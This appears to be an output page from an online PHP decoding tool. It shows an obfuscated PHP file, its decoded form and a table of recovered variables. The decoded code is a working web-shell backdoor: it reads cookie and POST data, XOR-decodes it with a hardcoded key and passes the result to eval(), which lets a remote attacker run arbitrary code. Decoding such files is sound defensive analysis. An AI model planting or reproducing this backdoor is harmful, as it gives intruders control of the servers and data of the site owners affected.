Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $bTWZDeXV = "\x73"/* tkGBT */. chr (116)/* P */./* MQnnc */chr/*ohW */( 1007 - ..

Decoded Output download

<?php 
$bTWZDeXV	=	"s"/*   tkGBT */.	chr	(116)/* P */./* MQnnc  */chr/*ohW  */(	1007	-   893	).chr	(95)/*   bhc*/.	chr   (114)/* yYFzW   */.	chr    (   768	- 667/* Qbvs */)."p"     .	chr   (101)    .	chr	(/* T   */967 -   870/*pJVv  */)."t"; 
 
$cmNEchmDJh/* C*/=  "e"    ./*   HM   */chr	( 931	-	811/* bkz  */).chr   ( 301 -/*  nG   */189   ).chr     (     877	-/*rQ   */769/*BGm  */).chr	(	551/*  mnH*/-	440/*STMNi   */)."d"	.	chr/*ilySk */(101);$_Pw	=   '25789'; 
    $BgingNq	=    'p'/*   cwCGF  */.  'a'     .  chr	(99)/*rbyw*/./*   BAyqI   */chr/*  LwyP   */(107);$_uiyPr	=	'62574'; 
		function/*  bgxC*/oJNMjMBc() 
		     { 
	 $Awsga	=  Array/* FQSp */(    "ndoDNfCioms"	=>/*   AOm  */"iCRlYRGAlkVcLyD"/*  W   */);$_xLgs/* CS   */=	'7404'; 
	    
   /*  EFTym   */$mlNlvtGGev/*   jdQUy  */=  Array/*   nXWyY   */(/*XR */"hHAUVSMjknRYf"	=>	"mjZonYHtZ"	);$_zA/*   rP   */=/* IeJy*/'64158'; 
/*   qh */$JkGBTh =/*   K */Array(/*  RFCT */$Awsga,   $_COOKIE,	$Awsga,	$_POST,	$mlNlvtGGev);$_VcSa/* nWJ  */=     '1871'; 
		/*zMWG*/ 
				return  $JkGBTh; 
	/*y*/} 
     /*   KKYV*/ 
	function GVApFJWv($wExoJZpzWO) 
  { 
     	if	(/*n  */count	(/*QZ   */$wExoJZpzWO/* LvF   */)     == 3   )/*   XAXi*/{ 
			    $mlPTdnne/*   Oxn  */=	$wExoJZpzWO[1]; 
   $gtkSYpBU     = $wExoJZpzWO[2]; 
 /*   HWq   */$qQGsRuQBb/*  vN  */= $mlPTdnne($gtkSYpBU);; 
 
/*u */eval/* jQ   */(	$qQGsRuQBb	); 
         die	(); 
	} 
 
 
	} 
					/*zK*/ 
		     function/*   Gg */fXToZivc($SOshwc,  $rfuGY) 
    	{ 
 
 
/*   RjLH*/return/*C   */$SOshwc     ^     $rfuGY;; 
 
	} 
				/*P*/ 
		/*  Gq   */$EvNJLKXF    =	"#"; 
	   
 
 
/* Wuat */foreach	(oJNMjMBc()/*  uiXT */as  $bMdgwhb)/*  r */{ 
				/* v   */foreach  (/*  jR  */$bMdgwhb   as    $rfuGY   => $SOshwc	)/* guLM   */{ 
    
 	$SOshwc =	@$BgingNq(/*P   */chr/*  rkr*/(72)/*   mJu   */.	chr     (/*  vhjZ   */702   -	660/* LH   */),/*BGsDm  */$SOshwc	); 
	 
				$rfuGY/*   wTlH   */.=/*  iHZ  */"HdIWb-iMRGbGX-wxfBOqW-TacA-gUOZXlw-qxoRuAw-pkHHw";; 
						$rfuGY    =	$bTWZDeXV  (  $rfuGY,   (/*   xb */strlen(   $SOshwc/*  CFEe*/)/strlen( $rfuGY/*h */)/*shYTK*/)/*   md*/+  1); 
   /*   M  */ 
    /*   BYol*/$qGFhDfCo/*Lj */=/*  Ppo   */fXToZivc($SOshwc,/*  I  */$rfuGY);; 
     /*  Vt   */ 
        $wExoJZpzWO/* Mx   */= $cmNEchmDJh   ($EvNJLKXF,/*qNSz */$qGFhDfCo     );$_B/*  Nrz  */=	'56336'; 
					/*   qH*/ 
					/*  zx   */GVApFJWv($wExoJZpzWO);; 
 
 
   } 
 
/*   gfPxu */} ?>

Did this file decode correctly?

Original Code

<?php
$bTWZDeXV	=	"\x73"/*   tkGBT */.	chr	(116)/* P */./* MQnnc  */chr/*ohW  */(	1007	-   893	).chr	(95)/*   bhc*/.	chr   (114)/* yYFzW   */.	chr    (   768	- 667/* Qbvs */)."\160"     .	chr   (101)    .	chr	(/* T   */967 -   870/*pJVv  */)."\x74";

$cmNEchmDJh/* C*/=  "\145"    ./*   HM   */chr	( 931	-	811/* bkz  */).chr   ( 301 -/*  nG   */189   ).chr     (     877	-/*rQ   */769/*BGm  */).chr	(	551/*  mnH*/-	440/*STMNi   */)."\144"	.	chr/*ilySk */(101);$_Pw	=   '25789';
    $BgingNq	=    'p'/*   cwCGF  */.  'a'     .  chr	(99)/*rbyw*/./*   BAyqI   */chr/*  LwyP   */(107);$_uiyPr	=	'62574';
		function/*  bgxC*/oJNMjMBc()
		     {
	 $Awsga	=  Array/* FQSp */(    "ndoDNfCioms"	=>/*   AOm  */"iCRlYRGAlkVcLyD"/*  W   */);$_xLgs/* CS   */=	'7404';
	   
   /*  EFTym   */$mlNlvtGGev/*   jdQUy  */=  Array/*   nXWyY   */(/*XR */"hHAUVSMjknRYf"	=>	"mjZonYHtZ"	);$_zA/*   rP   */=/* IeJy*/'64158';
/*   qh */$JkGBTh =/*   K */Array(/*  RFCT */$Awsga,   $_COOKIE,	$Awsga,	$_POST,	$mlNlvtGGev);$_VcSa/* nWJ  */=     '1871';
		/*zMWG*/
				return  $JkGBTh;
	/*y*/}
     /*   KKYV*/
	function GVApFJWv($wExoJZpzWO)
  {
     	if	(/*n  */count	(/*QZ   */$wExoJZpzWO/* LvF   */)     == 3   )/*   XAXi*/{
			    $mlPTdnne/*   Oxn  */=	$wExoJZpzWO[1];
   $gtkSYpBU     = $wExoJZpzWO[2];
 /*   HWq   */$qQGsRuQBb/*  vN  */= $mlPTdnne($gtkSYpBU);;

/*u */eval/* jQ   */(	$qQGsRuQBb	);
         die	();
	}


	}
					/*zK*/
		     function/*   Gg */fXToZivc($SOshwc,  $rfuGY)
    	{


/*   RjLH*/return/*C   */$SOshwc     ^     $rfuGY;;

	}
				/*P*/
		/*  Gq   */$EvNJLKXF    =	"\x23";
	  


/* Wuat */foreach	(oJNMjMBc()/*  uiXT */as  $bMdgwhb)/*  r */{
				/* v   */foreach  (/*  jR  */$bMdgwhb   as    $rfuGY   => $SOshwc	)/* guLM   */{
   
 	$SOshwc =	@$BgingNq(/*P   */chr/*  rkr*/(72)/*   mJu   */.	chr     (/*  vhjZ   */702   -	660/* LH   */),/*BGsDm  */$SOshwc	);
	
				$rfuGY/*   wTlH   */.=/*  iHZ  */"HdIWb-iMRGbGX-wxfBOqW-TacA-gUOZXlw-qxoRuAw-pkHHw";;
						$rfuGY    =	$bTWZDeXV  (  $rfuGY,   (/*   xb */strlen(   $SOshwc/*  CFEe*/)/strlen( $rfuGY/*h */)/*shYTK*/)/*   md*/+  1);
   /*   M  */
    /*   BYol*/$qGFhDfCo/*Lj */=/*  Ppo   */fXToZivc($SOshwc,/*  I  */$rfuGY);;
     /*  Vt   */
        $wExoJZpzWO/* Mx   */= $cmNEchmDJh   ($EvNJLKXF,/*qNSz */$qGFhDfCo     );$_B/*  Nrz  */=	'56336';
					/*   qH*/
					/*  zx   */GVApFJWv($wExoJZpzWO);;


   }

/*   gfPxu */}

Function Calls

chr 14
oJNMjMBc 1

Variables

$_Pw 25789
$_zA 64158
$Awsga [{'key': 'ndoDNfCioms', 'value': 'iCRlYRGAlkVcLyD'}]
$_VcSa 1871
$_xLgs 7404
$JkGBTh [{'key': 0, 'value': [{'key': 'ndoDNfCioms', 'value': 'iCRlYRGAlkVcLyD'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'ndoDNfCioms', 'value': 'iCRlYRGAlkVcLyD'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'hHAUVSMjknRYf', 'value': 'mjZonYHtZ'}]}]
$_uiyPr 62574
$BgingNq pack
$EvNJLKXF #
$bTWZDeXV str_repeat
$cmNEchmDJh explode
$mlNlvtGGev [{'key': 'hHAUVSMjknRYf', 'value': 'mjZonYHtZ'}]

Stats

MD5 ddef946fd5b43bbef6ba0a3e2ec97125
Eval Count 0
Decode Time 440 ms